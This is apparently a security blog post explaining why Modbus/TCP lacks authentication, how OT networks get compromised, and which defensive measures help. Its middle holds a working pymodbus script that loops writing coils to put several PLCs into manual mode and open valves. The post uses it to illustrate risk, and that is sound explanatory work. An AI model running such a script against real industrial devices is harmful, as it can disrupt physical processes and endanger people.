A Partial and Unpopular History of Modbus

ICS security is not overcomplicated as it used to be

Lately, I’ve been revisiting the Modbus protocol after running into some surprisingly modern devices that still rely on it.

This surprised me. My long-forgotten classroom memories filed Modbus away as a relic—something you’d find only in dusty, legacy OT environments in far-eastern coal plants or aging nuclear facilities. From a security perspective, I never thought it belonged anywhere near my current threat scope

The truth is, Modbus remains widely used in industrial environments because it’s openly published, simple to deploy and maintain (at least compared to other standards), imposes few constraints on data formatting, and—perhaps most importantly—is royalty-free.

Meanwhile, business units' needs have evolved toward "smarter" internet-connected electronic devices.

As a result, disrupting industrial electronic devices is now more accessible than ever before - and it is not going to change in the following years. Let's break down why.

🔓 Insecure by design

When it was introduced by Modicon (now Schneider Electric) in 1979 for their PLCs, Modbus ran exclusively over serial links. This version is what we now call Modbus RTU or Modbus ASCII.

The IP-based variant (Modbus/TCP) only appeared later, in the mid-1990s, when Ethernet started to be used in industrial automation.

The original Modbus Application Protocol Specification V1.0 simply wrapped the existing Modbus PDU in a TCP frame (port 502) without adding any security fields. As a result, this variant lacked any built-in authentication, integrity protection, or confidentiality mechanisms.

Modbus/TCP works on a client-server model where a central device - client - sends requests to other devices - servers - to perform operations, such as:

Function Code (Hex) Name Access Type Description
0x01 Read Coils Read Reads status of discrete outputs (coils ON/OFF).
0x02 Read Discrete Inputs Read Reads status of discrete inputs, analog input values (e.g., temperature).
0x03 Read Holding Registers Read Reads values from holding registers (RW).
0x04 Read Input Registers Read Reads values from input registers (RO), binary (ON/OFF) input states.
0x05 Write Single Coil Write Sets a single coil ON/OFF.
0x06 Write Single Register Write Writes a single holding register.
0x0F Write Multiple Coils Write Sets multiple coils ON/OFF.
0x10 Write Multiple Registers Write Writes multiple holding registers.

More about available functions and TCP packet structure here.

While reading this function, you might have concerns about the write operation functions—and rightfully so. By default, a client can write new values into registers and coils, potentially altering a device's state.

In 2018, the Modbus Security Protocol Specification (MBAPS) was published to address this inherent security gap. MBAPS enhances security by wrapping Modbus in TLS and adding certificate-based identities (X.509) with role-based access control (RBAC). Additionally, some programmable logic controller (PLC) manufacturers now offer basic authentication through specific holding registers, but without protection over the wire.

However, in real OT deployments, legacy constraints, vendor gaps, PKI complexity, and operational risk aversion slow their adoptions.

🧱 Who told you about a "barrier to entry"?

Meanwhile, PLCs, human-machine interfaces (HMIs), and SCADA systems are targeted by numerous logical vulnerabilities due to lack of maintenance, limited development expertise, and outdated design.

OT environments often use default or weak passwords when they have authentication at all. Additionally, many OT assets run obsolete services such as FTP, Telnet, and legacy web applications. In most cases, OT teams typically remain unaware of these underlying vulnerabilities that undermine their security foundation.

Finally, basic network hygiene and role-based access controls are inconsistently implemented. This lack of proper monitoring and security is fuelled by the shortage of information security experts specialised in OT environments.

Openly available exploit frameworks, protocol guides, and research papers have made OT exploitation techniques far more accessible than a decade ago. Tools once limited to hard-skilled specialists, now enable even moderately skilled actors to interact with and compromise industrial protocols like Modbus.

This coincides with a geopolitical climate where state-sponsored threat actors view OT disruption as a strategic lever. Backed by significant resources, they invest in custom ICS malware, skilled operators, and long-term reconnaissance and computer network operations (CNO), as seen in campaigns like BlackEnergy2/3 and Industroyer1/2.

In short, when a PLC lacks authentication, publicly available documentation exists, and the company’s OT engineering files are left in an unsecured IT share, a threat actor can operate critical equipment — such as opening a valve — with nothing more than a basic Python3 script executed over a simple SOCKS5 proxy from a TOR-connected endpoint:

from pymodbus.client import ModbusTcpClient

manual_mode = 104
open_output_valve = 107

# List of slave device IDs for C-301, C-305, C-306
slave_ids = [1, 5, 6]

def main():
    client = ModbusTcpClient('172.19.4.7', port=502)
    if not client.connect():
        print("[!] Failed to connect to Modbus server.")
        return
    print("Opening valves...")
    while True:
        for slave_id in slave_ids:
            result = client.write_coil(manual_mode, True, slave=slave_id)
            if result.isError():
                print(f"[!] Failed to write manual mode for slave {slave_id}")
            result = client.write_coil(open_output_valve, True, slave=slave_id)
            if result.isError():
                print(f"[!] Failed to write open output valve for slave {slave_id}")


if __name__ == "__main__":
    main()

Meanwhile, business operations increasingly require internet-connected devices to improve user experience, deliver competitive features, and enhance operational monitoring capabilities.

More than ever, the famous Mikko Hypponen's quote is up-to-date.

🤖 If It’s Smart, It’s Vulnerable

For decades, attackers typically had to compromise a significant portion of the IT network before finding a way to move laterally into the OT network(s). These legacy attack paths often included pivoting through a log management server, exploiting an engineering or maintenance workstation, or even abusing the domain controller. These scenarios were time-consuming and required a deep understanding of the victim’s network.

Today, with the widespread adoption of SaaS and cloud-connected devices, new and simpler attack paths are emerging. What was once considered as sci-fi is now a practical reality.

Let's review few of these scenarios - my favourite's ones.

  • An “isolated” OT network relies on an internet-facing router with VPN services enabled for remote maintenance. The router is vulnerable to a 1-day pre-auth RCE. From that foothold, the threat actor passively eavesdrops credentials sent through insecure HTTP requests from an operator workstation. Then, these credentials provide access to an HMI managing critical assets.
  • A small overseas supplier deployed a covert remote access tool within IoT devices it sold, intended for telemetry and maintenance, without fully informing its customer. The operating company is unaware of this hidden backdoor until the supplier’s poorly secured IT infrastructure is compromised. The threat actor then leverages the remote access channel to achieve impact objectives against the customers' OT networks.
  • An employee’s endpoint is compromised after a successful social engineering campaign. Spoiler alert, this is not a Red Team exercise. The threat actor discovers an exposed .openvpn configuration file and insecured credentials, which enable an unauthorized access to the OT environment.

In many cases, threat actors achieve “game over”, sometimes in a few steps, within so-called isolated OT networks.

👑 Few quick-wins to save the Crown's jewels

Fortunately, few practical measures can significantly reduce risk in OT environments:

  • Protect your documentation. You should treat engineering documentation (ladder logic, addressing maps, device IDs) as sensitive. Restrict and monitor their accesses and avoid public repositories. Documentation is gold — and not just for engineers. It gives attackers a shortcut to understanding the logic and quirks of your otherwise esoteric OT environment. Don’t make their job easier by handing them the manual.

  • Segment your network. Isolate PLCs from other devices. Allow identified HMIs/devices to talk Modbus/TCP across a dedicated and monitored conduit and apply default-deny between zones including outbound internet connexions if devices allow it. Ultimately, if you can, block write/diagnostic functions except from authorized hosts.

  • Hunt for default or weak passwords. During audits, I too often come across PLCs or HMIs exposing web, FTP, or SSH services with the manufacturer’s default credentials or weak passwords like admin, admin123, or operator. Even when the password has been changed — which is a good start — it’s usually sitting in plain sight in a shared knowledge base with little or no access restriction. So please — don’t lower the game. Protect you secrets.

  • Do not expose a VPN server on the internet connected to you OT environment. If VPN is unavoidable, harden and never terminate directly in the OT zone. Place behind a jump service and monitor.

Last but not least, monitoring endpoints and networks in OT environments is paramount. You need to know when a new device suddenly starts talking over TCP/502 from an untrusted network or endpoint. That kind of visibility is key — but it’s a deep topic, and one I’ll save for another post.